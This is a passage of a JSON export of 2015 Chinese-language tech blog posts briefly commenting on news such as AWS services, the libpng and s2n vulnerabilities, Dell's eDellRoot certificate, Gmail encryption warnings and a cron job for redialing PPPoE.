    "body": "在「<a href=\"https://alestic.com/2015/11/amazon-api-gateway-aws-cli-redirect/\">Creating An Amazon API Gateway With aws-cli For Domain Redirect</a>」這邊看到用 <a href=\"https://aws.amazon.com/api-gateway/\">Amazon API Gateway</a> 重導整個網域的方法。一般的做法是用 <a href=\"https://aws.amazon.com/s3/\">Amazon S3</a> (用 web hosting 重導) + <a href=\"https://aws.amazon.com/cloudfront/\">Amazon CloudFront</a> (for HTTPS) 堆出來，事實上這個方法成本也比較低，這篇文章只是示範怎麼用而已：\r\n\r\n<blockquote>I’m not saying the API Gateway method is better than using S3 plus CloudFront for simple hostname redirection. In fact, it costs more (though still cheap), takes more commands to set up, and isn’t quite as flexible in what URL paths get redirected from the source domain. It does, however, work and may be useful as an API Gateway aws-cli example.</blockquote>\r\n\r\n可以從中間學到一些東西，尤其是可以看到如何使用 <a href=\"https://aws.amazon.com/cli/\">aws-cli</a> 操作 Amazon API Gateway 的部分...",
    "title": "用 Amazon API Gateway 重導網域"
  },
  {
    "id": "6134",
    "body": "<a href=\"https://xkcd.com/1601/\">xkcd: Isolation</a>：\r\n\r\n<img src=\"https://ipfs.io/ipfs/QmdesjnozDqxqKo5VGCaTNA8yyxLTiZ54P3CcsSqGA2GGt\" alt=\"\" />\r\n\r\n我記得之前也有一個講著作權的也有類似的漫畫...\r\n\r\n<strong>Update</strong>：在 <a href=\"https://www.facebook.com/\">Facebook</a> 上看到強者我同事 (還沒被警察抓走的 CQD) 翻譯丟出來：\r\n\r\n<img src=\"https://ipfs.io/ipfs/QmT9UTk6tJFtU92MF9CgT88dphcatTM5nJhVCeMkNFxpRf\" alt=\"\" />",
    "title": "xkcd 的 Isolation"
  },
  {
    "id": "6136",
    "body": "<a href=\"http://www.libpng.org/\">libpng</a> 的安全性問題，<a href=\"https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2015-8126\">CVE-2015-8126</a>：\r\n\r\n<blockquote>Multiple buffer overflows in the (1) png_set_PLTE and (2) png_get_PLTE functions in libpng before 1.0.64, 1.1.x and 1.2.x before 1.2.54, 1.3.x and 1.4.x before 1.4.17, 1.5.x before 1.5.24, and 1.6.x before 1.6.19 allow remote attackers to cause a denial of service (application crash) or possibly have unspecified other impact via a small bit-depth value in an IHDR (aka image header) chunk in a PNG image.</blockquote>\r\n\r\n一堆軟體要更新啊...",
    "title": "libpng 漏洞..."
  },
  {
    "id": "6137",
    "body": "TPP (<a href=\"https://en.wikipedia.org/wiki/Trans-Pacific_Partnership\">The Trans-Pacific Partnership</a>，<a href=\"https://zh.wikipedia.org/wiki/%E8%B7%A8%E5%A4%AA%E5%B9%B3%E6%B4%8B%E6%88%B0%E7%95%A5%E7%B6%93%E6%BF%9F%E5%A4%A5%E4%BC%B4%E9%97%9C%E4%BF%82%E5%8D%94%E8%AD%B0\">跨太平洋戰略經濟夥伴關係協議</a>) 的黑箱作業在 <a href=\"https://wikileaks.org/\">Wikileaks</a> 揭露後 (<a href=\"https://wikileaks.org/tpp-ip3/\">TPP Treaty: Intellectual Property Rights Chapter - 5 October 2015</a>) 才被大量解讀，而與預期的一樣，既然會黑箱當然就是見不得人，違反公眾利益的事情。\r\n\r\n<a href=\"https://www.eff.org/\">EFF</a> 有導讀專欄分析，有興趣的可以從這邊下手：「<a href=\"https://www.eff.org/issues/tpp\">Trans-Pacific Partnership Agreement</a>」。\r\n\r\n這邊要講的是 TPP 裡對 <a href=\"https://en.wikipedia.org/wiki/GNU_General_Public_License\">GPL</a> 的影響：「<a href=\"http://keionline.org/node/2363\">TPP has provision banning requirements to transfer of or access to source code of software</a>」。\r\n\r\n其中這組條款對原始程式碼 (source code) 的約束直接衝擊 GPL 類強制要求 open source 的約束：\r\n\r\n<blockquote>Article 14.17: Source Code\r\n<ol>\r\n</ol>\r\n\t<li>No Party shall require the transfer of, or access to, source code of software owned by a person of another Party, as a condition for the import, distribution, sale or use of such software, or of products containing such software, in its territory.\r\n</li>\r\n\t<li>For the purposes of this Article, software subject to paragraph 1 is limited to mass-market software or products containing such software and does not include software used for critical infrastructure.</li>\r\n\t<li>Nothing in this Article shall preclude:\r\n(a) the inclusion or implementation of terms and conditions related to the provision of source code in commercially negotiated contracts; or\r\n(b) a Party from requiring the modification of source code of software necessary for that software to comply with laws or regulations which are not inconsistent with this Agreement.</li>\r\n\t<li>This Article shall not be construed to affect requirements that relate to patent applications or granted patents, including any orders made by a judicial authority in relation to patent disputes, subject to safeguards against unauthorised disclosure under the law or practice of a Party.</li>\r\n</blockquote>",
    "title": "TPP (The Trans-Pacific Partnership) 對 GPL 的影響"
  },
  {
    "id": "6138",
    "body": "先前提到「<a href=\"https://blog.gslin.org/archives/2015/11/07/6112/google-%E5%B7%A5%E7%A8%8B%E5%B8%AB%E5%9C%A8-amazon-%E4%B8%8A%E7%95%99%E4%B8%8B%E5%B0%8D-usb-c-%E7%B7%9A%E7%9A%84%E7%B2%BE%E5%BD%A9%E8%A9%95%E5%83%B9/\">Google 工程師在 Amazon 上留下對 USB-C 線的精彩評價...</a>」，後來這位工程師 Benson Leung 寫了更多的評價出來，在「<a href=\"http://www.amazon.com/gp/pdp/profile/A25GROL6KJV3QG\">Amazon.com: Profile for Benson Leung</a>」這邊可以看到。\r\n\r\n可以看到大量的線被打了兩顆星，不過還是少數有幾條線測過了：\r\n<ul>\r\n\t<li><a href=\"http://www.amazon.com/dp/B0162ISBEU\">USB Type C cable (USB-C) to USB3.0 Type A: TRUE CURRENT Aluminum shell and Braid Shield cable Reversible for Macbook, Oneplus2,Nexus 5x, Nexus 6P, Huawei and Other Devices 3.3ft (1meter)</a></li>\r\n\t<li><a href=\"http://www.amazon.com/dp/B00VIWE1ZY\">Nekteck USB 3.1 USB Type C (USB-C) to USB Type A USB 3.0 Male Data & Charging Cable Reversible Design for Apple MacBook 12 inch, Nokia N1, Nexus 5X 6P, OnePlus 2 and More (3.3 Feet, Black)</a></li>\r\n\t<li><a href=\"http://www.amazon.com/dp/B0119EIHTG\">Anker USB-C to USB 3.0 Cable (3.3ft) for USB Type-C Devices Including the new MacBook, ChromeBook Pixel, Nexus 5X, Nexus 6P, Nokia N1 Tablet, OnePlus 2 and More</a></li>\r\n\t<li><a href=\"http://www.amazon.com/dp/B010EXRTXI\">FRiEQ Hi-speed USB 3.1 Type C Cable - 3.3ft/1m - Micro USB 3.1 Type C Male to Standard Type A USB 3.0 Male Data Cable for Apple New Macbook 12 Inch, Nokia N1, Tablet, Mobile Phone and Other Type-C Supported Devices - Black</a></li>\r\n\t<li><a href=\"http://www.amazon.com/dp/B00WJSPFOW\">Belkin 2.0 USB-A to USB Type C (USB-C) Charge Cable, 6-Foot</a></li>\r\n\t<li><a href=\"http://www.amazon.com/dp/B010VFFU1W\">Type C, iOrange-E™ 6.6 Ft (2M) Braided Cable with Reversible Connector for New Macbook 12 inch, ChromeBook Pixel, Nokia N1 Tablet, Asus Zen AiO and Other Devices with Type C USB, Black</a></li>\r\n</ul>\r\n\r\n35 條只過了 6 條，看起來狀況不太好啊 XDDD",
    "title": "Google 工程師在 Amazon 上對 Type C USB 線的評論"
  },
  {
    "id": "6139",
    "body": "<a href=\"http://www.xfinity.com/\">Comcast</a> 的 300GB/month 限制在 Comcast 的內部文件表示對於解決網路壅塞問題無關，只是商業考量 (或者說「找個理由想收更多的錢」)：「<a href=\"https://bgr.com/2015/11/06/comcast-data-caps-network-congestion/\">Leaked Comcast docs prove 300GB data cap has nothing to do with network congestion</a>」。\r\n\r\n<img src=\"https://ipfs.io/ipfs/QmakvcThwmNXWTgspN2vukvdEvxvZV6SvvabqFWvA7MXwW\" alt=\"\" />\r\n\r\n最下方的：\r\n\r\n<blockquote>Don’t Say: “The program is about congestion management.” (It is not.)</blockquote>\r\n\r\n這讓我想到 2000 年的時候，計中對交大宿舍網路做的每日流量限制，反而造成整體流量不斷上升，因為大家都覺得沒用完浪費掉了，雖然把本來 bandwidth distribution 的右半段砍掉，但左半段全部爬上來，結果積分起來整體流量增加超多 XDDD\r\n\r\n從那時候第一次在實戰驗證，在某些情境下，假性的公平上反而會造成整體成本的提昇... 相關的討論還是可以用 <a href=\"https://groups.google.com/\">Google Groups</a> 在 nctu.talk 或是 tw.bbs.campus.nctu 上找到。\r\n\r\n突然想到好久沒找老師出來吃飯了？也許十二月該來約一約了...",
    "title": "Comcast 的 300GB/month 限制"
  },
  {
    "id": "6140",
    "body": "看到「<a href=\"http://0.30000000000000004.com/\">http://0.30000000000000004.com/</a>」這個網站對經典的 0.1 + 0.2 問題整理了各語言的結果。這個網址名稱也很機車啊 XD\r\n\r\n開頭的說明講述 <a href=\"http://grouper.ieee.org/groups/754/\">IEEE 754</a> 二進制表示法的問題：\r\n\r\n<blockquote>Your language isn't broken, it's doing floating point math. Computers can only natively store integers, so they need some way of representing decimal numbers. This representation comes with some degree of inaccuracy. That's why, more often than not, .1 + .2 != .3.\r\n\r\nIt's actually pretty simple. When you have a base 10 system (like ours), it can only express fractions that use a prime factor of the base. The prime factors of 10 are 2 and 5. So 1/2, 1/4, 1/5, 1/8, and 1/10 can all be expressed cleanly because the denominators all use prime factors of 10. In contrast, 1/3, 1/6, and 1/7 are all repeating decimals because their denominators use a prime factor of 3 or 7. In binary (or base 2), the only prime factor is 2. So you can only express fractions cleanly which only contain 2 as a prime factor. In binary, 1/2, 1/4, 1/8 would all be expressed cleanly as decimals. While, 1/5 or 1/10 would be repeating decimals. So 0.1 and 0.2 (1/10 and 1/5) while clean decimals in a base 10 system, are repeating decimals in the base 2 system the computer is operating in. When you do math on these repeating decimals, you end up with leftovers which carry over when you convert the computer's base 2 (binary) number into a more human readable base 10 number.</blockquote>\r\n\r\n這邊主要是討論 <a href=\"https://en.wikipedia.org/wiki/IEEE_754-1985\">IEEE 754-1985</a> 這個標準，後來在 <a href=\"https://en.wikipedia.org/wiki/IEEE_floating_point\">IEEE 754-2008</a> 提出了新的表示方法，支援十進位的表示法來解這個問題 (雖然還沒普及)。",
    "title": "0.1 + 0.2 = 0.30000000000000004"
  },
  {
    "id": "6141",
    "body": "在「<a href=\"http://rhaas.blogspot.com/2015/11/parallel-sequential-scan-is-committed.html\">Parallel Sequential Scan is Committed!</a>」這邊看到 <a href=\"https://www.postgresql.org/\">PostgreSQL</a> 9.5 (還沒出) 將會有 Parallel Sequential Scan 的功能。\r\n\r\n文章的作者直接拿了一個大家超常用的惡搞來示範，也就是經典的 <code>LIKE '%word%'</code>：\r\n\r\n<pre>rhaas=# \\timing\r\nTiming is on.\r\nrhaas=# select * from pgbench_accounts where filler like '%a%';\r\n aid | bid | abalance | filler\r\n-----+-----+----------+--------\r\n(0 rows)\r\n\r\nTime: 743.061 ms\r\nrhaas=# set max_parallel_degree = 4;\r\nSET\r\nTime: 0.270 ms\r\nrhaas=# select * from pgbench_accounts where filler like '%a%';\r\n aid | bid | abalance | filler\r\n-----+-----+----------+--------\r\n(0 rows)\r\n\r\nTime: 213.412 ms</pre>\r\n\r\n這功能真不錯 XD",
    "title": "PostgreSQL 9.5 將會有 Parallel Sequential Scan"
  },
  {
    "id": "6142",
    "body": "前陣子在「<a href=\"https://blog.gslin.org/archives/2015/11/02/6101/starttls-%E7%9A%84%E4%B8%8D%E5%AE%8C%E6%95%B4%E6%80%A7%E4%BB%A5%E5%8F%8A%E5%A4%A7%E8%A6%8F%E6%A8%A1%E7%9B%A3%E6%8E%A7%E9%9B%BB%E5%AD%90%E9%83%B5%E4%BB%B6/\">STARTTLS 的不完整性以及大規模監控電子郵件</a>」提到現有的標準無法確保 ESMTP 一定會啟用 <a href=\"https://en.wikipedia.org/wiki/STARTTLS\">STARTTLS</a>。所以 <a href=\"https://www.google.com/\">Google</a> 正在跟 <a href=\"https://www.m3aawg.org/\">M3AAWG</a> 研究標準來保護這類攻擊：\r\n\r\n<blockquote>First, we found regions of the Internet actively preventing message encryption by tampering with requests to initiate SSL connections. To mitigate this attack, we are working closely with partners through the industry association <a href=\"https://www.m3aawg.org/\">M3AAWG</a> to strengthen “opportunistic TLS” using technologies that we pioneered with Chrome to protect websites against interception.</blockquote>\r\n\r\n另外一方面，Google 之後也會將未透過 STARTTLS 傳輸的信件標示出來：\r\n\r\n<blockquote>To notify our users of potential dangers, we are developing in-product warnings for Gmail users that will display when they receive a message through a non-encrypted connection. These warnings will begin to roll-out in the coming months.</blockquote>\r\n\r\nGoogle 的文章可以在「<a href=\"https://googleonlinesecurity.blogspot.com/2015/11/new-research-encouraging-trends-and.html\">New Research: Encouraging trends and emerging threats in email security</a>」這邊看到。\r\n\r\n我的想像是 DNSSEC + TXT record 標示，不知道會不會走這條...",
    "title": "Gmail 將會針對沒有加密傳輸收到的信件標示警告"
  },
  {
    "id": "6143",
    "body": "在「<a href=\"http://techcrunch.com/2015/11/10/twitter-sees-6-increase-in-like-activity-after-first-week-of-hearts/\">Twitter Sees 6% Increase In “Like” Activity After First Week Of Hearts</a>」這邊看到 <a href=\"https://twitter.com/\">Twitter</a> 把 Favorite 變成 Like 後的成長：\r\n\r\n<blockquote>The reason? According to Weil, “It’s easier to understand.” Makes sense. How many favorites could you really have at the end of the day? The increase is 6% for existing users and 9% for new users.</blockquote>\r\n\r\n不過，更多的 Like 會有更多的互動嗎？",
    "title": "Twitter 把收藏變成心狀後的使用成長"
  },
  {
    "id": "6144",
    "body": "在這篇看到現在已經有跨裝置的追蹤機制：「<a href=\"http://arstechnica.com/tech-policy/2015/11/beware-of-ads-that-use-inaudible-sound-to-link-your-phone-tv-tablet-and-pc/?\">Beware of ads that use inaudible sound to link your phone, TV, tablet, and PC</a>」。\r\n\r\n電視廣告利用超高頻 (人類聽不到) 與手機或平板裝置上的應用程式配對，進而組合使用者的行為：\r\n\r\n<blockquote>The ultrasonic pitches are embedded into TV commercials or are played when a user encounters an ad displayed in a computer browser. While the sound can't be heard by the human ear, nearby tablets and smartphones can detect it. When they do, browser cookies can now pair a single user to multiple devices and keep track of what TV commercials the person sees, how long the person watches the ads, and whether the person acts on the ads by doing a Web search or buying a product.</blockquote>\r\n\r\n難以被關閉的追蹤機制，看起來就是 <a href=\"https://www.nsa.gov/\">NSA</a>、<a href=\"https://www.fbi.gov/\">FBI</a>、<a href=\"https://www.cia.gov/\">CIA</a> 之類超愛的技術。",
    "title": "利用極高頻的音波跨裝置侵犯使用者隱私"
  },
  {
    "id": "6145",
    "body": "<a href=\"https://maps.google.com/\">Google Maps</a> 宣佈支援離線操作：「<a href=\"https://googleblog.blogspot.com/2015/11/navigate-and-search-real-world-online.html\">Navigate and search the real world … online or off</a>」。\r\n\r\n<img src=\"https://ipfs.io/ipfs/QmTArtw58DYdLvLHXfqNcF7dtJKWyQaikvnrNX2M1aWFpi\" alt=\"\" />\r\n\r\n<img src=\"https://ipfs.io/ipfs/QmSetV7qKFpucz3eWX7JSZ7xJhiasGdkjqp1KSyouP5W14\" alt=\"\" />\r\n\r\n<blockquote>Now you can download an area of the world to your phone, and the next time you find there’s no connectivity—whether it’s a country road or an underground parking garage—Google Maps will continue to work seamlessly.</blockquote>\r\n\r\n這功能在國外旅遊 (漫遊的時候) 還蠻好用的，可以先在飯店把地圖抓下來，再往外面跑...",
    "title": "Google Maps App 支援離線作業"
  },
  {
    "id": "6146",
    "body": "<a href=\"https://www.percona.com/\">Percona</a> 的人對 <a href=\"https://aws.amazon.com/rds/aurora/\">Amazon Aurora</a> 分析了不少東西：「<a href=\"https://www.percona.com/blog/2015/11/16/amazon-aurora-looking-deeper/\">Amazon Aurora – Looking Deeper</a>」。\r\n\r\n前面的 <a href=\"https://zh.wikipedia.org/wiki/FUD\">FUD</a> 類攻擊就先跳過去，重點在架構。Percona 的人猜測架構上是透過 shared storage (以 <a href=\"https://aws.amazon.com/\">AWS</a> 來說，最有可能的應該是 EBS-based) 散佈 InnoDB 的 redo log，藉以達到分散的效果：\r\n\r\n<img src=\"https://ipfs.io/ipfs/QmSw1K4o6dZRVx7gD2NRvLGQKpDaezRoSHGWXEcvJizG5Z\" alt=\"\" />\r\n\r\n另外就是只支援 REPEATABLE-READ，在一般用 READ-COMMITTED 就夠用的情境下，效能上會有一些折扣。",
    "title": "Percona 的人對 Amazon Aurora 的分析"
  },
  {
    "id": "6147",
    "body": "看到微軟推出的 <a href=\"https://microsoft.github.io/code-push/\">CodePush</a>，針對 <a href=\"https://cordova.apache.org/\">Cordova</a> 或 <a href=\"https://facebook.github.io/react-native/\">React Native</a> 類透過 WebView 跑的程式提出的方案。原因是 <a href=\"https://www.apple.com/\">Apple</a> 的 App Store 審核都要很久，透過 CodePush 可以直接更新程式：\r\n\r\n<blockquote>CodePush is a cloud service that enables Cordova and React Native developers to deploy mobile app updates directly to their users’ devices. It works by acting as a central repository that developers can publish certain updates to (e.g. JS, HTML, CSS and image changes), and that apps can query for updates from (using our provided client SDKs). This allows you to have a more deterministic and direct engagement model with your end-users, while addressing bugs and/or adding small features that don’t require you to re-build a binary and/or re-distribute it through any public app stores.</blockquote>\r\n\r\nFAQ 文件裡提到了這點：(<a href=\"https://microsoft.github.io/code-push/faq/index.html\">Frequently Asked Questions &middot; CodePush</a>)\r\n\r\n<blockquote>Does the Apple App Store allow developers to perform these types of updates?\r\n\r\nAccording to section 3.3.2 of Apple’s developer agreement, as long as you are using the CodePush service to release bug fixes and improvements/features that maintain the app’s original/presented purpose (i.e. don’t CodePush a calculator into a first-person shooter), then you will be fine, and your users will be happy. In order to provide a tangible example, our team published a (pretty cheesy!) CodePush-ified game to the Google Play Store and Apple App Store, and had no problems getting it through the review process.\r\n\r\nBecause Cordova apps are executed within a WebView, and React Native apps are executed within JavaScriptCore, from a technology perspective, these runtimes are unique in their ability to leverage dynamic code downloads according to the aforementioned Apple developer agreement.</blockquote>\r\n\r\n同樣的想法如果真的可行，應該會有其他更開放的 open source 方案可以用 (而非綁定性的服務，而是可以掛到自己的 CDN 上下載更新)，先觀察一陣子...",
    "title": "微軟的 CodePush"
  },
  {
    "id": "6148",
    "body": "在 <a href=\"http://techcrunch.com/\">TechCrunch</a> 上看到的「<a href=\"http://techcrunch.com/2015/11/10/gmail-we-need-to-talk/\">Gmail, We Need To Talk</a>」這篇裡提到 <a href=\"https://mail.google.com/\">Gmail</a> 的問題，尤其是 CSS 這塊：\r\n\r\n<blockquote>Each Gmail client renders email differently. You may not be aware of this, but each Gmail client has its own set of frustrating quirks. Having to deal with each version of Gmail makes creating email a nail-biting chore:\r\n\r\n<ul>\r\n\t<li>Gmail.com Webmail. Supports &lt;style&gt; but does not support ids and classes.</li>\r\n\t<li>Gmail Webmail for Business. Does not support &lt;style&gt;.</li>\r\n\t<li>Gmail App for iOS. Randomly increases font sizes by 50 percent (no &lt;style&gt;).</li>\r\n\t<li>Gmail App for Android. Randomly ignores container widths (no &lt;style&gt;).</li>\r\n\t<li>Gmail App for Android (for non Gmail.com addresses). Does not support background images in addition to ignoring container widths (no &lt;style&gt;).</li>\r\n\t<li>Inbox by Gmail for Android. Randomly ignores container widths but does so differently than Gmail App for Android (no &lt;style&gt;).</li>\r\n\t<li>Inbox by Gmail for iOS. Does not support &lt;style&gt; but seems to not suffer from as many quirks as other Gmail mobile apps.</li>\r\n</ul></blockquote>\r\n\r\n這也就可以理解為什麼有時候手機上看起來怪怪的了 XD",
    "title": "在 Gmail 上做 CSS 效果的問題"
  },
  {
    "id": "6149",
    "body": "<a href=\"https://squareup.com/\">Square</a> 放出 <a href=\"https://github.com/square/git-fastclone\">git-fastclone</a>：「<a href=\"https://corner.squareup.com/2015/11/fastclone.html\">Introducing git fastclone</a>」，會生出這個軟體的原因是 git clone 的速度太慢，對於 CI 的速度影響頗大：\r\n\r\n<blockquote>Square uses git-fastclone as part of our iOS and hardware CI systems. Being able to quickly clone into an empty directory, saves us time and ensures we always know the starting state for our builds — no matter what has happened in previous builds. This in turn increases the reliability of the system overall and benefits our engineers.</blockquote>\r\n\r\n用 <a href=\"https://www.ruby-lang.org/\">Ruby</a> 寫的，可以用 <code>gem install git-fastclone</code> 直接安裝起來。",
    "title": "Square 放出的 git-fastclone"
  },
  {
    "id": "6150",
    "body": "<a href=\"http://www.hinet.net/\">HiNet</a> 的 <a href=\"https://zh.wikipedia.org/wiki/PPPoE\">PPPoE</a> 大約三四天會斷一次，但就算設定要自動重撥好像也不太會動，所以需要自己偵測 ppp0 界面是否存在，不是的話就要撥號...\r\n\r\n測試 ppp0 界面是否存在可以用 <a href=\"https://en.wikipedia.org/wiki/Ifconfig\">ifconfig</a> 的 exit status 判斷，而重撥則可以用 nmcli 來做，用 <a href=\"https://en.wikipedia.org/wiki/Cron\">cron</a> 去判斷變成：\r\n\r\n<pre>*/1 * * * * root /sbin/ifconfig ppp0 &gt; /dev/null 2&gt;&amp;1 || /usr/bin/nmcli connection up id \"HiNet PPPoE\" > /dev/null 2&gt;&amp;1</pre>\r\n\r\n我是用 <code>\"HiNet PPPoE\"</code> 這個名稱，如果要用到你自己的機器上的話，把上面的 <code>\"HiNet PPPoE\"</code> 換成你在 <a href=\"https://wiki.gnome.org/Projects/NetworkManager\">NetworkManager</a> 裡設定的名稱。",
    "title": "Ubuntu 在 Command Line 下自動重撥 PPPoE"
  },
  {
    "id": "6151",
    "body": "<a href=\"https://aws.amazon.com/device-farm/\">AWS Device Farm</a> 支援在 <a href=\"https://www.apple.com/ios/\">iOS</a> 與 <a href=\"https://www.android.com/\">Android</a> 上測試 Web Application 了：「<a href=\"https://aws.amazon.com/blogs/aws/aws-device-farm-update-test-web-apps-on-mobile-devices/\">AWS Device Farm Update – Test Web Apps on Mobile Devices</a>」。\r\n\r\n<img src=\"https://ipfs.io/ipfs/QmUDphEoWgbhAN3ntyTFAfgbhri1qG8mmXKuaYhhpdbHRM\" alt=\"\" />\r\n\r\n支援愈來愈多東西了...",
    "title": "AWS Device Farm 支援手機上的 Web Application 測試"
  },
  {
    "id": "6153",
    "body": "現在是十一月對吧，地球上有哪個地方現在是四月一號嗎...\r\n\r\n<a href=\"https://storywriter.amazon.com/\">Amazon Storywriter</a> 是個自動排版工具，支援 <a href=\"https://www.google.com/chrome\">Google Chrome</a> extension，不過從 screenshot 好像看到特別的東西：「<a href=\"http://arstechnica.com/business/2015/11/free-amazon-scriptwriting-app-lets-scribes-pitch-directly-to-amazon-studios/\">Free Amazon scriptwriting app lets scribes pitch directly to Amazon Studios</a>」。\r\n\r\n<img src=\"https://ipfs.io/ipfs/QmT4gfWiRLzpALwNB1XaqtBsJ7Eo5q8rYA5Leb8gXgsovg\" alt=\"\" />\r\n\r\n這字型有種... 不知道要說什麼的感覺啊 XDDD\r\n\r\n反而會想要用看看，到底對寫作提昇多少幫助 XDDD",
    "title": "Amazon Storywriter"
  },
  {
    "id": "6154",
    "body": "<a href=\"https://aws.amazon.com/ec2/\">Amazon EC2</a> 在十月預告了 <a href=\"https://aws.amazon.com/ec2/dedicated-hosts/\">Dedicated Hosts</a> (參考「<a href=\"https://blog.gslin.org/archives/2015/10/07/6033/amazon-ec2-%E9%A0%90%E5%AE%9A%E8%A6%81%E6%8E%A8%E5%87%BA%E7%9A%84-dedicated-hosts/\">Amazon EC2 預定要推出的 Dedicated Hosts</a>」)，在今天正式推出來讓大家用：「<a href=\"https://aws.amazon.com/blogs/aws/now-available-ec2-dedicated-hosts/\">Now Available – EC2 Dedicated Hosts</a>」。\r\n\r\n價錢在「<a href=\"https://aws.amazon.com/ec2/dedicated-hosts/pricing/\">Amazon EC2 Dedicated Host Pricing</a>」這邊，租用就是整台一起租用，所以價錢都是以 Instance Family 在計算，在一台 Dedicated Host 上面可以跑的虛擬機數量與 Instance Type 有關，舉例來說：c4 只能跑一個 8xlarge，也可以跑兩個 4xlarge。\r\n\r\n一台 Dedicated Host 當然可以跑很多 Instance，不過只能跑一樣的大小的 Instance Type：\r\n\r\n<blockquote>I choose the instance type (Dedicated hosts for M3, M4, C3, C4, G2, R3, D2, and I2  instances are available), the Availability Zone, and the quantity (each Dedicated Host can accommodate one or more instances of a particular type, all of which must be the same size).</blockquote>\r\n\r\n另外 Dedicated Hosts 一定要放到 <a href=\"https://aws.amazon.com/vpc/\">VPC</a> 內 (理論上新帳號都有強迫這樣了)，不過可以跨 VPC 就是了：\r\n\r\n<blockquote>Instances launched on a Dedicated Host must always reside within a VPC. A single Dedicated Host can accommodate instances that run in more than one VPC.</blockquote>\r\n\r\n目前能開的數量有限制，有需要更多的人可以開 support ticket 去要：\r\n\r\n<blockquote>You can allocate up to 2 Dedicated Hosts per instance family (M4, C4, and so forth) per region; if you need more, just ask.</blockquote>",
    "title": "Amazon EC2 的 Dedicated Hosts 正式推出"
  },
  {
    "id": "6155",
    "body": "<a href=\"http://www.dell.com/\">Dell</a> 在出廠的電腦上裝了 Root Certificate (eDellRoot)，並且附上 Private Key：「<a href=\"http://arstechnica.com/security/2015/11/dell-apologizes-for-https-certificate-fiasco-provides-removal-tool/\">Dell apologizes for HTTPS certificate fiasco, provides removal tool</a>」。\r\n\r\n出自 <a href=\"https://www.reddit.com/\">Reddit</a> 上 <a href=\"https://www.reddit.com/user/rotorcowboy\">rotorcowboy</a> 的爆破：「<a href=\"https://www.reddit.com/r/technology/comments/3twmfv/dell_ships_laptops_with_rogue_root_ca_exactly/\">Dell ships laptops with rogue root CA, exactly like what happened with Lenovo and Superfish</a>」。\r\n\r\n<img src=\"https://ipfs.io/ipfs/QmPTH9j8MTCMUE4wt9NGB5KSwaWtxZG5AA9ZRo9vprSbJ1\" alt=\"\" />\r\n\r\nDell 官方的正式回應：「<a href=\"http://en.community.dell.com/dell-blogs/direct2dell/b/direct2dell/archive/2015/11/23/response-to-concerns-regarding-edellroot-certificate\">Response to Concerns Regarding eDellroot Certificate</a>」。\r\n\r\n由於有 Private Key，有人架了一個檢測網站，在「<a href=\"https://dellrootcheck.detectify.com/\">Are you affected by the eDellRoot-Certificate issue?</a>」這邊可以確認電腦是否中獎。\r\n\r\n大家都超愛搞這套的 XDDD",
    "title": "Dell 在出廠的電腦上裝自己的 Root Certificate，順便把 Private Key 也裝進去了..."
  },
  {
    "id": "6156",
    "body": "從 <a href=\"https://secure.php.net/\">PHP</a> 網站上的「<a href=\"https://secure.php.net/supported-versions.php\">Supported Versions</a>」與「<a href=\"https://secure.php.net/eol.php\">Unsupported Branches</a>」可以看到今年九月初 PHP 5.4 就已經停止維護了 (包括安全性更新也停了)。\r\n\r\n在「<a href=\"http://seld.be/notes/php-versions-stats-2015-edition\">PHP Versions Stats - 2015 Edition</a>」這邊利用 <a href=\"https://packagist.org/\">Packagist</a> 的資料分析，還是可以看到很多人用 PHP 5.3 與 PHP 5.4：\r\n\r\n<img src=\"https://ipfs.io/ipfs/QmfN2hu3vsatJ6L5kSbNAphDTZk2CmXPV7qKPT9uA28Hmf\" alt=\"\" />\r\n\r\n唔，很符合 PHP 社群以及各家 hosting 萬年不更新的使用習慣...？",
    "title": "PHP 的生命週期"
  },
  {
    "id": "6157",
    "body": "<a href=\"https://www.amazon.com/\">Amazon</a> 之前放 <a href=\"https://github.com/awslabs/s2n\">s2n</a> 出來當作 TLS protocol 的方案，於是就有人摸出東西來：「<a href=\"https://eprint.iacr.org/2015/1129\">Lucky Microseconds: A Timing Attack on Amazon's s2n Implementation of TLS</a>」。\r\n\r\n即使是經過外部資安檢證，仍然還是有找到問題。這次找到的問題是 timing attack 類在 CBC-mode 下的 plaintext recovery：\r\n\r\n<blockquote>At the time of its release, Amazon announced that s2n had undergone three external security evaluations and penetration tests. We show that, despite this, s2n - as initially released - was vulnerable to a timing attack in the case of CBC-mode ciphersuites, which could be extended to complete plaintext recovery in some settings.</blockquote>\r\n\r\n攻擊分成兩個階段：\r\n\r\n<blockquote>Our attack has two components. The first part is a novel variant of the Lucky 13 attack that works even though protections against Lucky 13 were implemented in s2n. The second part deals with the randomised delays that were put in place in s2n as an additional countermeasure to Lucky 13. Our work highlights the challenges of protecting implementations against sophisticated timing attacks.</blockquote>\r\n\r\n最後還是酸了一下 Amazon：\r\n\r\n<blockquote>It also illustrates that standard code audits are insufficient to uncover all cryptographic attack vectors.</blockquote>\r\n\r\nAmazon 的官方說明則在「<a href=\"http://blogs.aws.amazon.com/security/post/TxLZP6HNAYWBQ6/s2n-and-Lucky-13\">s2n and Lucky 13</a>」這邊可以看到。",
    "title": "Amazon 之前放出的 s2n 的安全性問題"
  },
  {
    "id": "6158",
    "body": "<a href=\"https://www.mozilla.org/firefox\">Firefox</a> 宣佈支援 <a href=\"https://tools.ietf.org/html/draft-hallambaker-muststaple-00\">OCSP Must-Staple</a>：「<a href=\"https://blog.mozilla.org/security/2015/11/23/improving-revocation-ocsp-must-staple-and-short-lived-certificates/\">Improving Revocation: OCSP Must-Staple and Short-lived Certificates</a>」。\r\n\r\n先前的 SSL certificate 的 revoke 技術目前是透過 <a href=\"https://en.wikipedia.org/wiki/Revocation_list\">CRL</a> 與 <a href=\"https://en.wikipedia.org/wiki/Online_Certificate_Status_Protocol\">OCSP</a> 兩個技術在支撐，前者是列出所有被 revoke 的清單，後者則是瀏覽器主動去指定的 server 確認這個 SSL certificate 是否有效。但這兩個方法都有嚴重的問題。\r\n\r\nCRL 的問題是 revoke 清單會愈來愈多。這完全沒辦法 scale。\r\n\r\nOCSP 的問題有幾個，一個是熱門網站的 SSL certificate 會讓 OCSP server 的負擔非常重 (不過還是有些辦法打散)。第二個問題是 OCSP server 會知道哪些 IP 造訪了哪些網站，使得隱私權受到嚴重侵害。第三個問題則是 client 需要再連線確認花掉很多時間，而且失敗機率超高：\r\n\r\n<blockquote>However, these checks can be slow and unreliable. They time out about 15% of the time, and take about 350ms even when they succeed.</blockquote>\r\n\r\n也因為極度不穩定，對於一般的 SSL certificate 在連不到 OCSP server 時，沒有瀏覽器敢直接 hard-fail (EV SSL certificate 是強制要求 